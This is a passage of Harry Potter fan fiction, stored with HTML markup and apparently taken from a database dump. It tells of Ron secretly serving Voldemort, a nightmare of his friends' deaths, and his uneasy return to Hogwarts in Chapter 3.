and Ron flinched slightly.&nbsp; Not enough to be detected by his master, but\nthe look still gave him chills.&nbsp; He\ndidn&#8217;t know how Harry could survive multiple encounters with the creature of\nalmost pure evil power that was standing in front of him.&nbsp; He was glad that he was on the stronger\nside, should it come to war.&nbsp; The other\nside&#8217;s strongest warriors were an old man and a young man.&nbsp; Harry hadn&#8217;t been trained to fight, and\nDumbledore was past fighting age.&nbsp;\nStanding around him were at least 30 able bodied men, all at the peak of\ntheir strength.&nbsp; The others fighting\nwith the old fool were not half as powerful as the people around him.&nbsp; He allowed himself to smile slightly, and\nthen turned his attention back to the meeting.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Wormtail, you will accompany Ronald back to Hogwarts\nas his pet.&nbsp; That way, I will have three\nof my servants inside the castle.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Ron stepped foreward.&nbsp;\n&#8220;My Lord,&#8221; he said, bowing, &#8220;It would not do to have Wormtail accompany\nme as a pet for the year.&nbsp; He was my pet\nat one time, and both Harry and Hermione, as well as Sirius Black, Remus Lupin,\nand Dumbledore know who he really is.&nbsp; I\nhave no doubt that one of those people would recognize who he really is and\neither kill him or turn him in.&#8221;&nbsp; Ron\ngave another deep bow, and stepped back to his place in the circle.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;You make an excellent point.&nbsp; What do you suggest we do about this?&#8221;\nVoldemort asked.</p>\n\n<p class="MsoBodyText">Ron thought for a minute.&nbsp; He did not want to risk upsetting his master.&nbsp; He had already seen the punishments for\nthose whom Voldemort disapproved of.&nbsp;\nSlowly, he stepped forward.&nbsp; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;My Lord, Wormtail should accompany me back to the\ncastle, but not as a pet.&nbsp; He could\npretend to be just another rat.&nbsp; As long\nas he stays out of the way of Harry, Hermione, Sirius, and Remus, he will be\nsafe.&nbsp; Dumbledore has never seen him as\na rat, and will not recognize him.&nbsp; This\nway, he can snoop around the castle, and he will not be caught.&#8221;&nbsp; </p>\n\n<p class="MsoBodyText">Ron bowed once again and stepped back to his place,\nonce again blending into the crowd.&nbsp; It\nwas no easy matter to place an idea in front of the Dark Lord.&nbsp; For just this once, he liked to be part of\nthe crowd.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;An excellent idea, Ronald.&nbsp; Wormtail, I trust that it is not too much for you to get to\nHogwarts on your own?&nbsp; You will report\nto Severus if you find any useful information.&nbsp;\nThat is all for the meeting, you are dismissed.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">As a group, they backed out of Voldemort&#8217;s throne\nroom, bowing before they stirred one step.&nbsp;\nWhen the door was closed, Ron rolled up his sleeve, and pressed his hand\nover it.&nbsp; When he opened his eyes, he\nwas back in his orange room at the Burrow.&nbsp;\nHe looked at the clock, 3:42.&nbsp; He\ngroaned.&nbsp; He would need a lot of sleep\nto be ready to face the day of acting in front of his parents.&nbsp; And his mum never looked well on having a\nlie-in.&nbsp; Well, he could just pretend\nthat he wasn&#8217;t feeling well.&nbsp; That always\nworked.&nbsp; But then again, if he tried\nthat, he would have his mother on his back all day, babying him.&nbsp; It wasn&#8217;t something that he really wanted.&nbsp; Resolving to work it out in the morning, he\ncrawled into bed feeling completely drained.&nbsp;\nHe was asleep almost before his head hit the pillow.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">******** </p>\n\n<p class="MsoBodyText"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText"><i>Ron was back at Hogwarts with Harry and Hermione.&nbsp; They were snogging in a chair by the fire in\nthe common room.&nbsp; He tried clearing his\nthroat to get their attention, but they just ignored it, and kept up their\nactivities.&nbsp; </i></p>\n\n<p class="MsoBodyText"><i>He shivered.&nbsp;\nHe was pretty close to the fire.&nbsp;\nThe seventh years always got the good armchairs, but even though he was\nnext to the fire, he was freezing cold.&nbsp;\nAnd no matter how loud he shouted, his two best friends continued to\nignore him.&nbsp; </i></p>\n\n<p class="MsoBodyText"><i>Suddenly, he spotted a figure slowly standing up\nbehind them.&nbsp; Time slowed to a crawl as\nthe figure straightened.&nbsp; He was hardly\ntaller than Harry and Hermione, even though they were sitting down.</i></p>\n\n<p class="MsoBodyText"><i>Ron stared in horror as a glint of sliver became visible\nin the mystery person&#8217;s hand.&nbsp; The\nhigher he brought his hand, the longer the object seemed to grow.&nbsp; It tapered to a point, and finally, it was\nraised high enough into the shadow that all that was visible was a gleaming\nsilver point, held in a gleaming silver hand.</i></p>\n\n<p class="MsoBodyText"><i>Realization slowly dawned on Ron that this was\nWormtail.&nbsp; And he was about to kill his\ntwo friends.</i></p>\n\n<p class="MsoBodyText"><i>&#8220;Harry! Hermione! Run!&nbsp; Wormtail is behind you!&#8221;&nbsp;\nHe screamed at them.&nbsp;\nProgressively growing louder and shriller as the point of the knife was\nbrought closer and closer to Hermione&#8217;s back.</i></p>\n\n<p class="MsoBodyText"><i>After what seemed like an eternity, they looked over\nat him.&nbsp; The expression on their faces\nscared him.&nbsp; They weren&#8217;t the smiling,\nfriendly faces of the people that he had been friends with for six years.&nbsp; What was there was a cold shell of\nindifference, which was barely masking the pure hatred flashing in their eyes.</i></p>\n\n<p class="MsoBodyText"><i>&#8220;And why should we believe you?&#8221; Harry asked\ncoldly.&nbsp; &#8220;You are just like him.&nbsp; You betrayed us just like Wormtail betrayed\nmy parents.&nbsp; You don&#8217;t belong in\nGryffindor.&nbsp; Pack your stuff and move to\nSlytherin, where you belong.&#8221;&nbsp; He\ncontinued to glare at Ron for another minute.</i></p>\n\n<p class="MsoBodyText"><i>Ron tried to speak, to argue his case.&nbsp; </i></p>\n\n<p class="MsoBodyText"><i>&#8220;I would have been killed if I had said no,&#8221; he\nmanaged to stammer out.&nbsp; As soon as the\nwords left his mouth he regretted it.</i></p>\n\n<p class="MsoBodyText"><i>&#8220;THEN YOU SHOULD HAVE DIED!&#8221; roared Harry.&nbsp; &#8220;DIED RATHER THAN BETRAY YOUR FRIENDS, AS WE\nWOULD HAVE DONE FOR YOU!&#8221;&nbsp; For a moment,\nboth Harry and Hermione&#8217;s faces shifted into the faces of Sirius and Remus on\nthat far away day in the shrieking shack.</i></p>\n\n<p class="MsoBodyText"><i>As soon as he blinked, Harry and Hermione&#8217;s faces had\nreturned to normal, and they were both glaring at him with a hatred that he had\nonly ever seen in his master&#8217;s eyes.</i></p>\n\n<p class="MsoBodyText"><i>They simultaneously pulled out their wands to curse\nhim, but he held up his hand to stop them.</i></p>\n\n<p class="MsoBodyText"><i>&#8220;Don&#8217;t bother.&nbsp;\nI&#8217;ll leave.&nbsp; I&#8217;ll go and pack,\nand talk to Dumbledore about transferring houses.&nbsp; Then neither of you has to put up with me again.&#8221;&nbsp; He sighed.&nbsp;\nHe would be moving to a place where his family name was hated, where he\nwould never be a part of them.&nbsp; Sure, he\nwas a servant of the Dark Lord, but he knew that his six years in Gryffindor\nwould keep them from trusting him fully; just as he two ex-friends didn&#8217;t trust\nhim now.</i></p>\n\n<p class="MsoBodyText"><i>He looked back at them.&nbsp; They had resumed where they left off, and Harry&#8217;s hand had slid\nup underneath Hermione&#8217;s shirt.&nbsp; Ron\ncouldn&#8217;t see Wormtail behind them anymore.</i></p>\n\n<p class="MsoBodyText"><i>Slowly, he got up from his seat, shivering, and made\nhis way up to the seventh year boy&#8217;s dorm.&nbsp;\nHe opened his trunk and started to pile his things into it.&nbsp; He shrunk it, put it into his pocket, and\nwalked out of the dorm he had shared with Harry, Neville, Dean and Seamus for\nsix years.&nbsp; He slowly descended the\nstairs to find that Hermione was now sitting at a table studying, and Harry was\nsitting in a chair staring into the fire.&nbsp;\n</i></p>\n\n<p class="MsoBodyText"><i>As Ron crossed to the portrait hole, Harry got up and\nwalked over to him.&nbsp; His face was\nfriendly again.&nbsp; Nothing remained of the\nmask of hatred that he had been wearing earlier.</i></p>\n\n<p class="MsoBodyText"><i>&#8220;Ron, where are you going?&#8221; He asked.</i></p>\n\n<p class="MsoBodyText"><i>&#8220;I told you, I am moving to Slytherin as soon as I\ntalk to Dumbledore about it.&nbsp; Good-bye,\nHarry.&#8221;&nbsp; </i></p>\n\n<p class="MsoBodyText"><i>&#8220;Nonesense.&nbsp; I\ndidn&#8217;t tell you to do anything as drastic as that.&nbsp; I just wanted you to leave us alone for a minute.&nbsp; I didn&#8217;t want you to pack and move to our\nopposing house.&#8221;&nbsp; Harry replied\ncheerfully.</i></p>\n\n<p class="MsoBodyText"><i>Ron saw a flash of silver close to Harry&#8217;s left\near.&nbsp; With horror, he realized that\nWormtail had returned with his knife.</i></p>\n\n<p class="MsoBodyText"><i>&#8220;Harry! Watch out!&#8221; he screamed.</i></p>\n\n<p class="MsoBodyText"><i>&#8220;What are you talking about&#8212;&#8221; Harry&#8217;s words were cut\noff as a knife plunged through his back.&nbsp;\nHis body fell forward onto Ron.&nbsp;\nHe put up his hands to keep himself from being crushed by his friend&#8217;s\nbody.&nbsp; He could only hold him up for a\nlittle, and Harry&#8217;s head soon hit the floor with a loud thump.</i></p>\n\n<p class="MsoBodyText"><i>Hermione rushed forward and cradled him in her arms,\nsobbing.&nbsp; Ron stared unbelievingly at\nthe hands that had been unable to support his friend.&nbsp; They were soaked in blood; Harry&#8217;s blood; the blood of thousands\nof people that had been murdered by his master.</i></p>\n\n<p class="MsoBodyText"><i>Hermione looked up at him.&nbsp; </i></p>\n\n<p class="MsoBodyText"><i>&#8220;How could you, Ronald Judas Weasley?&#8221;</i></p>\n\n<p class="MsoBodyText"><i>He just stared at her, unable to answer.</i></p>\n\n<p class="MsoBodyText"><i>She continued.&nbsp;\n</i></p>\n\n<p class="MsoBodyText"><i>&#8220;And what did you get out of it, hm?&nbsp; I hope something more than just thirty sickles.&#8221;&nbsp; She turned her back on him, bent down to\npick up Harry, and carried him down into the great hall, so that everyone could\nsee what he had done.&nbsp; Ron followed.&nbsp; </i></p>\n\n<p class="MsoBodyText"><i>She stretched out Harry&#8217;s body on the Gryffindor\ntable, and with a flick of her wand turned all of the hangings around the hall\nblack.&nbsp; She climbed to the top of the\ntable and looked out at the people around her.&nbsp;\nShe spotted Ron and pointed him out for everyone to see.&nbsp; </i></p>\n\n<p class="MsoBodyText"><i>&#8220;I give you Ronald Judas Weasley, the betrayer, who is\nno better than his old pet rat.&#8221;&nbsp; With\nthat, she pulled out a knife out of her robes and held it to her chest.&nbsp; She looked down at Harry, &#8220;my love, I am\njoining you now and forever.&#8221;&nbsp; With\nthose final words, she stabbed herself, her body falling and covering Harry&#8217;s.</i></p>\n\n<p class="MsoBodyText"><i>The crowd of students pushed Ron back into the darkest\ncorner in the hall, and no matter how hard he tried, he could not escape the\ndarkness around him.&nbsp; He continued to\nstruggle for days, but to no avail.</i></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">******* </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">With a start, Ron woke up,\nhis body covered in sweat and shaking.&nbsp;\nIt was the worst dream that he had ever experienced, but he couldn&#8217;t\nremember the details.&nbsp; No matter how\nhard he tried to remember what had gone on, it didn&#8217;t work.&nbsp; </p>\n\n<p class="MsoBodyText">Eventually, he gave\nup.&nbsp; <i style="mso-bidi-font-style:\nnormal">Tomorrow is another day.&nbsp; I&#8217;ll\nthink about it tomorrow.</i>&nbsp; And with that, he fell asleep again.</p>\n\n\n\n\n\n\n\n'),
	(1, 3, '\n\n\n\n\n\n\n\nChapter 3: Ankle Deep\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">September 1st was rapidly approaching\nand Ron was starting to feel very nervous.&nbsp;\nWormtail had been at the castle for a few weeks, following Snape at the\nend of the professor&#8217;s summer holidays.&nbsp;\n<i>Not that he needs to get the feel of the castle</i>, Ron thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">What was really bugging him was the fact\nthat he would have to face Harry and Hermione again.&nbsp; Being a death-eater was fine away from the castle, but once he\nwas back, it would be a lot more work to keep up the fa&#231;ade in front of the two\npeople that knew him best.&nbsp; He started\nto make a mental checklist of things that he couldn&#8217;t do around his two\nfriends.&nbsp; <i>1: no pulling up my sleeve,\nI need to keep long sleeves on at all times.&nbsp;\n2: avoid the shower when it is full.&nbsp;\n3: avoid talking about the Dark Lord.&nbsp;\n4: Avoid trouble so that I don&#8217;t get sent to Dumbledore&#8217;s office.</i>&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">When he was satisfied that he had a\nthorough list, he stood up and started packing his things.&nbsp; Maybe the year would be fun after all.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Once he was on the Hogwarts Express, Ron\nbreathed a sigh of relief.&nbsp; It had taken\nall of his will not to walk around and find Harry and Hermione.&nbsp; He knew where they would be: the prefect and\nhead student compartments at the front of the train.&nbsp; For that reason, he chose a compartment towards the back that was\nmercifully empty.&nbsp; Hopefully Harry and\nHermione would be too involved in their snogging to notice that he hadn&#8217;t seen\nthem.&nbsp; If they did walk in, he had an\nexcuse prepared: He wasn&#8217;t a prefect or head boy, so he wasn&#8217;t allowed in their\ncompartment.&nbsp; Satisfied that they would\nbelieve his excuse, he conjured a pillow and blanket, stretched out on the\nbench, and drifted off to sleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Several hours later, he was rudely\nawakened by the force of the door slamming open.&nbsp; In an instant, his wand was in his hand, and a hex on his lips.&nbsp; It was only Malfoy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What do you want, Malfoy?&#8221;&nbsp; He asked irritably.&nbsp; At the same time, he waved his wand to clear\naway his comfortable bedding.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We need to talk, Weasley,&#8221; Malfoy said\nin his typical drawling, snobby voice.&nbsp;\n&#8220;The Dark Lord may approve of you and your plans, but you are a\nGryffindor, and I don&#8217;t trust you.&nbsp; I\ndon&#8217;t care what Voldemort thinks.&#8221; He spat the word &#8216;Gryffindor&#8217; with his\ncharacteristic hatred.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;If that&#8217;s all you wanted to say, then I\nsuggest you leave.&nbsp; Unless you want a\nrepeat of the incident from three years ago.&#8221;&nbsp;\nRon snarled.&nbsp; Once again, his\nvoice surprised him.&nbsp; Maybe it wasn&#8217;t\njust from the curse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Fine.&nbsp;\nJust remember, I don&#8217;t trust you farther than I can spit.&#8221;&nbsp; With those final words, he left, slamming\nthe door a second time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron conjured the pillows and blankets\nagain; hoping that this time, whoever woke him would be nicer about it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He was right about the kindness of the\nsecond, but it was Harry, the one person he wasn&#8217;t ready to face.&nbsp; He quickly looked down to check that his arm\nwas covered, and was immensely relieved to see that it was.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron! Where have you been!&nbsp; Hermione&#8217;s been worried sick that you missed\nthe train, or something.&nbsp; Why didn&#8217;t you\nfind us when you got on?&#8221; Harry asked.&nbsp;\nHis expression was a mixture of relief and puzzlement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I &#8230; I didn&#8217;t think that I would be able\nto be in your compartment.&nbsp; It&#8217;s\nreserved for prefects and heads, isn&#8217;t it?&#8221;&nbsp;\nDespite his well-prepared excuse, he stuttered a little bit, feeling\nguilty about lying to Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You know that you are welcome anytime,\ndon&#8217;t you?&nbsp; I mean even if we are the\nhead students, you are still our best friend.&#8221;&nbsp;\nHarry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sorry, but I did need to catch up on\nsome sleep.&nbsp; I haven&#8217;t been sleeping\nwell for a while.&#8221; He wasn&#8217;t lying this time.&nbsp;\nVoldemort often called in the dead of night, but Ron had been excluded\nfrom most of the meetings.&nbsp; But once he\nwas awakened because of the burning in the mark, he often found it hard to\nreturn to sleep.&nbsp; Half of him was angry\nthat Voldemort wasn&#8217;t calling him, and the other half carried twinges of guilt\nabout betraying his friends, family, professors, and Dumbledore.&nbsp; He always managed to brush away those\nfeelings, and it was mostly the anger that kept him up at night.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well, wake up, we&#8217;re almost there.&nbsp; I&#8217;ll let you get changed on your own.&#8221;&nbsp; For the first time, Ron noticed that Harry\nwas in his school uniform, complete with the Head Boy badge, still shiny from\nthe countless times Percy had polished it, and the Quidditch captain pin,\ncovered in dirt, reminiscent of Oliver Wood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry gave him one last smile before\nwalking out and gently closing the door behind him.&nbsp; As soon as the door clicked into place, Ron breathed a sigh of\nrelief.&nbsp; One down, one to go.&nbsp; Acting normal in front of Hermione would be\nharder, she was always so much more observant than Harry.&nbsp; He would have to be very careful in front of\nher.&nbsp; And Harry, for that matter, since\nhe would probably be discussing everything with her.&nbsp; He would just have to watch what he said and did carefully when\nhe was around either of them.&nbsp; While he\nwas changing, he mentally ran through his checklist, and when he was fully\nclothed, he was confident that he could act normally in front of the rest of\nthe house, and most likely in front of Harry and Hermione, but hopefully they\nwould be too wrapped up in each other to notice any off behavior on his\npart.&nbsp; <i>Just remember Weasley, keep\nyour arm covered.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He glanced once more at his arm, as\nthough expecting the mark to show through the sleeve, when it didn&#8217;t, he took a\ndeep breath and walked out of the compartment to try to find his fellow\nGryffindors.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron!&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron looked around in the direction his\nname came from.&nbsp; <i>Great.&nbsp; Just whom I wanted to see.</i>&nbsp; Harry and Hermione came running up the path\nfrom the front of the train.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;There you are!&#8221; Harry exclaimed, out of\nbreath.&nbsp; Ron scowled internally as he\nnoticed his friends&#8217; fingers intertwined between them.&nbsp; He pretended to be happy, and smiled at them.&nbsp; He hoped that they wouldn&#8217;t notice how\nforced it was.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione dropped Harry&#8217;s hand, and gave\nRon a quick hug.&nbsp; Harry gave him a quick\none before joining hands with Hermione again.&nbsp;\nHe noticed Hermione was also wearing the Head Girl badge, though it\nwasn&#8217;t as shiny as Harry&#8217;s.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,&#8221; Ron started as a way to break the\nsilence, &#8220;why are we standing around?&nbsp; I\nbelieve that the feast is about to start.&nbsp;\nI&#8217;m starving!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Always thinking of your stomach, eh\nRon?&#8221;&nbsp; Harry joked, giving Ron a playful\npunch in the shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron winced as Harry&#8217;s fist connected with\nhim.&nbsp; Even though it was through his\nclothes, Ron could feel the slight burn of Harry&#8217;s tough.&nbsp; <i>5: don&#8217;t touch Harry.</i>&nbsp;&nbsp; After committing the last item on his\nchecklist to memory, he followed Harry and Hermione to the carriages, hoping\nthat Harry wouldn&#8217;t see Wormtail during the feast.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The feast went better than he had hoped,\nand soon he found himself once again trailing Harry and Hermione up to\nGryffindor Tower.&nbsp; By the time they\nreached the fat lady, Ron had started to feel somewhat guilty.&nbsp; He didn&#8217;t belong in Gryffindor anymore.&nbsp; He belonged with Malfoy and Crabbe and Goyle\nin Slytherin.&nbsp; But then he thought of\nthe advantages he would be able to provide for his master.&nbsp; A way into Harry Potter&#8217;s room and life.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">For the rest of the night, he sat and\nstared into the fire while Harry and Hermione chatted.&nbsp; To make them think that he was really paying\nattention, he interjected a few comments here and there, mostly about the\nlooming war, and the attacks that had happened over the summer.&nbsp; He could tell that Harry felt guilty about\nnot being able to save the people that had died, but he saw that it was\nHermione&#8217;s job to comfort him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Finally, around 11pm, Harry and Hermione\nstood up to go to bed.&nbsp; Instead of\nseparating at the bottom of the separate boy&#8217;s and girl&#8217;s staircases, they went\ntogether to a tapestry between the two.&nbsp;\nHarry muttered something under his breath, and a door appeared.&nbsp; They disappeared inside, together.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>Damn.&nbsp;\nMaster won&#8217;t be too pleased at this.&nbsp;\nI can get someone into the common room, and locate their door, but I\ncan&#8217;t get inside.&nbsp; Maybe this is going\nto be harder than I thought.</i>&nbsp; He would just have to make sure that they\nstill trusted him enough to give him their password.&nbsp; It would take every bit of energy he had to convince them that he\nwas still their friend, when he wanted nothing more than to stay away from\nthem.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He sat staring into the fire for a few\nmore hours before he realized that the common room was deserted.&nbsp; He yawned, stretched, and headed to\nbed.&nbsp; He almost screamed when he saw the\nrat curled up on his pillow.&nbsp; He knew\nright away that it was Wormtail, but he welcomed the rat&#8217;s presence.&nbsp; Maybe, just for one night, he could pretend\nthat everything was the same as it used to be.&nbsp;\nHarry asleep in the bed next to him (he noticed that there were only 4\nbeds in the dormitory this year), Hermione in her dormitory, and Scabbers\nasleep in his bed.&nbsp; While he knew that\nthe first two couldn&#8217;t possibly happen this year, Scabbers really was in his bed,\nand even though he knew what the rat really was, it was a comfort to have his\nold pet back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The next morning was worse than he\nthough.&nbsp; Ron woke up to Harry&#8217;s\npersistent poking, and he knew that when he went to shower, there would be\nlittle fingerprint-sized burns on his skin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Go away, Potter!&#8221; he said crankily.&nbsp; Quickly, he realized what he said.&nbsp; Luckily for him, Harry seemed to take it as\nhis normal morning grumpiness.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron, if you don&#8217;t hurry up, you&#8217;ll miss\nbreakfast, then Hermione and I will have to listen to you complaining about\nyour stomach all morning.&nbsp; So get up!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron groaned, and Harry took that as a\nyes.&nbsp; At least, he left the room, and\nleft Ron to his own devices.&nbsp; Ron\ndressed quickly, and went downstairs to find Harry and Hermione engaged in a\nmorning snog.&nbsp; Without a word, he walked\npast them, and headed down to breakfast, his stomach growling in agreement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">When his friends showed up a few (15)\nminutes later, they acted as though they were surprised to see him there.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We didn&#8217;t know you were already down\nhere.&nbsp; We waited for you for a while,\nbut you never showed up,&#8221; Hermione commented, &#8220;I guess that&#8217;s because you left\nbefore us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>Does snogging kill that may brain\ncells?&nbsp; Before they were together, she\nwouldn&#8217;t have felt the need for such a useless comment.&nbsp; Guess Harry&#8217;s obliviousness has been rubbing\noff on her.</i>&nbsp; Instead of voicing his thoughts, he gave\nthem a quick smile, and placed the rest of his concentration of eating his\nbreakfast.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">When he was finished, he mumbled some\nexcuse about having to go get his stuff up in the tower (which was true, he HAD\nleft all of his books there), and quickly left the table, aware of the two\npairs of eyes, one green and one brown, boring a hole into his back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He looked at his schedule, which he had\ngrabbed before leaving the table, to see what classes he had today.&nbsp; Potions, damn it, paired with slytherin\nagain.&nbsp; Herbology, double with\nHufflepuff.&nbsp; Divination.&nbsp; History of Magic.&nbsp; When he reached is dorms, he grabbed all of his necessary books\nand his wand, and made his way down to potions early.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Even though he had left breakfast early,\nthe trip to the tower took longer than he thought, and he had to make a mad\ndash to be on time for potions.&nbsp; Even\nthough Snape was on his side, he knew that to keep pretenses up, his tardiness\nwould cost points.&nbsp; He managed to make\nit into the room about two seconds before the bell rang, and the only seat left\nwas the one his friends had saved for him, right next to them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The period was torturous.&nbsp; They had each been given individual\nassignments, and it seemed that Snape was trying to target all of their\nweaknesses.&nbsp; His potion was a\npain-reducing potion, Harry was making a power-inducing potion that was fairly\ncomplex, and Hermione was brewing a universal protection potion, which was\nstrong enough to protect the drinker from Avada Kedavara, if brewed\ncorrectly.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He knew Snape was out for vengeance with\nthat one, since no one had brewed it correctly for over five hundred years,\naccording to the history books.&nbsp; And\nfrom what he could see of Hermione&#8217;s concentration, she wouldn&#8217;t do it\neither.&nbsp; Harry, on the other hand,\nseemed to be completely absorbed in his task.&nbsp;\nRon thought that he possibly had a chance to do it correctly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Since Ron was completely wrapped up in\nthinking about his friend&#8217;s possible failures, he failed to notice that he had\nbotched his own.&nbsp; In an instant, his\ncauldron had melted Neville-style, and his potion was flowing through the\ndungeon.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Weasley!&nbsp; I thought that only Longbottom was capable of melting a cauldron\nwith such a simple potion. &nbsp;Thirty\npoints from Gryffindor, and detention with me tonight.&nbsp; Class dismissed.&#8221;</p>\n\n<p class="MsoNormal" 